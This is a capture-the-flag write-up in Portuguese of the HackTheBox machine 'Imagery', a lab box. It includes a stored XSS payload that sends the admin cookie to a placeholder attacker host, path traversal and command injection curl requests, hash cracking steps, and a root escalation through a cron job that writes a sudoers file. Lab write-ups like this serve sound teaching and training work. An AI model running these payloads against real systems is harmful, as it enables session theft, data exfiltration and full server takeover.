Avatar oficial da máquina Imagery no HackTheBox

Imagery

Platform
HackTheBox
Difficulty
Medium
OS
Linux

Categories Web · Privesc · Lateral Movement

Máquina Linux Medium com aplicação Python/Werkzeug de upload de imagens. Stored XSS no formulário de bug report para roubar o cookie do admin, LFI no painel administrativo para exfiltrar o source code, command injection no endpoint de transformação de imagem para foothold. Lateral movement via cracking de backup AES e privesc via sudo no backup manager charcol.

Recon

rustscan -a imagery.htb -- -sV
PortaServiçoVersão
22/tcpSSHOpenSSH 9.7p1 Ubuntu
8000/tcpHTTPWerkzeug 3.1.3 / Python 3.12.7
Saída do rustscan mostrando SSH na 22 e Werkzeug na 8000
Só duas portas: SSH e a aplicação Flask/Werkzeug na 8000

A porta 8000 serve a “Image Gallery”, uma aplicação de upload e organização de imagens. O HTML da landing já entrega o frontend inteiro num único bundle inline.

Página inicial da Image Gallery
A aplicação: galeria de imagens com registro, login e upload

Lendo o JavaScript embutido encontrei todas as rotas, incluindo o painel admin (/admin/bug_reports, /admin/get_system_log, /admin/users) e o endpoint de edição /apply_visual_transform. Dois detalhes saltaram: o template do admin renderiza ${report.details} direto no innerHTML sem passar pelo DOMPurify.sanitize() usado nos outros campos, e o endpoint de logs concatena um parâmetro controlado pelo usuário num path de arquivo.

Foothold

A conta admin@imagery.htb é evidente mas o login tem lockout após poucas tentativas. Em vez de brute force, abusei do XSS: o campo bugDetails do formulário /report_bug é renderizado sem sanitização no painel que o admin abre.

<img src=x onerror='new Image().src="http://<ATTACKER_IP>:9001/?c=" + document.cookie'>
Burp Repeater com o POST /report_bug e a response 200 confirmando o envio do bug report
O payload vai no bugDetails (o único campo sem DOMPurify); a response confirma o report aceito para review do admin

A aplicação confirma o cookie do admin não ser HttpOnly (SESSION_COOKIE_HTTPONLY = False no source), então document.cookie é legível. O bot do admin só revisa os reports depois de atividade na galeria, então fiz um upload de imagem para destravar a fila. Segundos depois o cookie chegou no meu listener.

Listener HTTP recebendo a sessão do admin via parâmetro de query
Cookie de sessão do admin exfiltrado para o listener na porta 9001

Com o cookie, auth_status confirma isAdmin: true.

LFI in the admin panel to exfiltrate the source

Autenticado como admin, o endpoint /admin/get_system_log?log_identifier= é vulnerável a path traversal — o valor é concatenado num path sem sanitização:

curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../etc/passwd" -b "session=<ADMIN_SESSION>"

O /etc/passwd revelou os usuários web (dono da app) e mark.

Burp Repeater com o request GET do LFI e a response 200 contendo /etc/passwd
No Repeater: o path traversal retorna /etc/passwd — entre os usuários, web e mark

A partir daí exfiltrei o backend inteiro a partir de /home/web/web/: app.py, config.py e os blueprints api_* — incluindo rotas que não apareceriam em fuzzing.

Burp Repeater com o request do LFI e a response contendo o source de api_edit.py
O mesmo LFI lê o backend — api_edit.py revela o subprocess.run com shell=True

O db.json traz os usuários da aplicação com senhas em MD5:

Burp Repeater com o request do LFI e a response contendo o db.json com hashes MD5
O db.json na response do Repeater — hashes MD5 de admin e testuser

O hash MD5 do testuser sai da wordlist rockyou.txt (hashcat modo 0):

hashcat quebrando o MD5 do testuser para iambatman
testuser@imagery.htb : iambatman

Command injection in /apply_visual_transform

O source mostra exatamente porque o endpoint é explorável — o parâmetro width entra numa string passada a subprocess.run(..., shell=True):

width = str(params.get('width'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

O endpoint exige is_testuser_account na sessão e que a imagem pertença ao usuário. Logado como testuser, fiz upload de uma imagem para obter um imageId válido e injetei no width:

curl -X POST "http://imagery.htb:8000/apply_visual_transform" -H "Content-Type: application/json" -H "Cookie: session=<TESTUSER_SESSION>" -d '{"imageId":"<UUID>","transformType":"crop","params":{"x":0,"y":0,"width":"1; <command> #","height":1}}'
Burp Repeater com o payload de command injection no width e a response 200 do transform
Payload `100; id #` no width; a response 200 confirma que o transform (e o comando injetado) executaram — o # comenta o resto do convert

A injeção executa como o usuário web, dono da aplicação.

Execução de id no alvo confirmando o usuário web
Foothold como web@Imagery via command injection

Lateral Movement

O usuário web não tem a flag de user — ela pertence ao mark. Em /var/backup/ havia um backup antigo criptografado com pyAesCrypt:

/var/backup/web_20250806_120723.zip.aes

O backup está em formato AES Crypt (header AES\x02, gerado por pyAesCrypt 6.1.1) — quebrável no modo 22400 do hashcat. Extraí o hash com aescrypt2hashcat.pl e quebrei com a wordlist rockyou.txt: a senha é bestfriends. O zip decriptado guardava uma versão anterior do db.json, com o hash MD5 do mark — que também sai do rockyou.txt (supersmash):

aescrypt2hashcat extraindo o hash e hashcat quebrando o backup AES e o hash do mark
Backup AES e o MD5 do mark quebrados com rockyou.txt.

O SSH só aceita publickey, então virei mark via su (senha supersmash) e adicionei a minha chave ao authorized_keys para um acesso estável. A flag de user está em /home/mark/user.txt.

Acesso como mark e ls -la de user.txt
mark@imagery via su — a flag de user está em /home/mark/user.txt

Privilege Escalation

mark pode rodar o backup manager charcol como root sem senha:

sudo -l mostrando que mark pode rodar /usr/local/bin/charcol como root sem senha
O único vetor sudo: charcol como root, NOPASSWD

O charcol tem um shell interativo protegido por uma master passphrase, mas a flag -R reseta a aplicação para “no password mode” mediante verificação da senha do sistema (a do próprio mark, supersmash):

sudo charcol -R

Com o shell acessível, o subcomando auto add agenda um cron job — e o próprio help avisa que não valida o comando. Como o charcol roda como root, o comando agendado executa como root:

Shell do charcol executando auto add que agenda um cron job para escrever um sudoers
auto add agenda um cron como root que escreve mark em /etc/sudoers.d/ — sem validar o comando

Um SUID bash não funcionaria porque /tmp está montado nosuid; escrever um arquivo em /etc/sudoers.d/ contorna isso. Após o cron disparar, mark tem sudo total e a flag de root sai em /root/root.txt.

sudo id como root e ls -la de root.txt
Root via o sudoers plantado pelo cron job do charcol

Lessons Learned

  • O JS da aplicação revelou rotas api_* e o painel admin inteiro. Ler o bundle é mais rápido que fuzzing.
  • Lockout no login não protege contra XSS no formulário de suporte — o admin abre os reports com sessão válida, e SESSION_COOKIE_HTTPONLY = False entrega o cookie.
  • LFI como amplificador: com o source em mãos, o command injection no width ficou trivial de localizar (shell=True + f-string).
  • pyAesCrypt com senha de rockyou.txt é vetor clássico de lateral movement — extrair com aescrypt2hashcat.pl, quebrar no modo 22400.
  • Qualquer binário sudo que aceite comando arbitrário e rode como root é privesc. Aqui o auto add do charcol agenda cron sem validar o comando; com /tmp em nosuid, escrever um sudoers é o caminho mais limpo.

Impact

  • Um serviço de hospedagem de imagens vive da confidencialidade do acervo dos clientes; aqui o atacante alcança todo o conteúdo armazenado, além dos dados e hashes de credenciais dos usuários.
  • A exfiltração do código-fonte e dos backups expõe a propriedade intelectual da aplicação e reabre as senhas dos usuários para reúso em outros serviços.

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti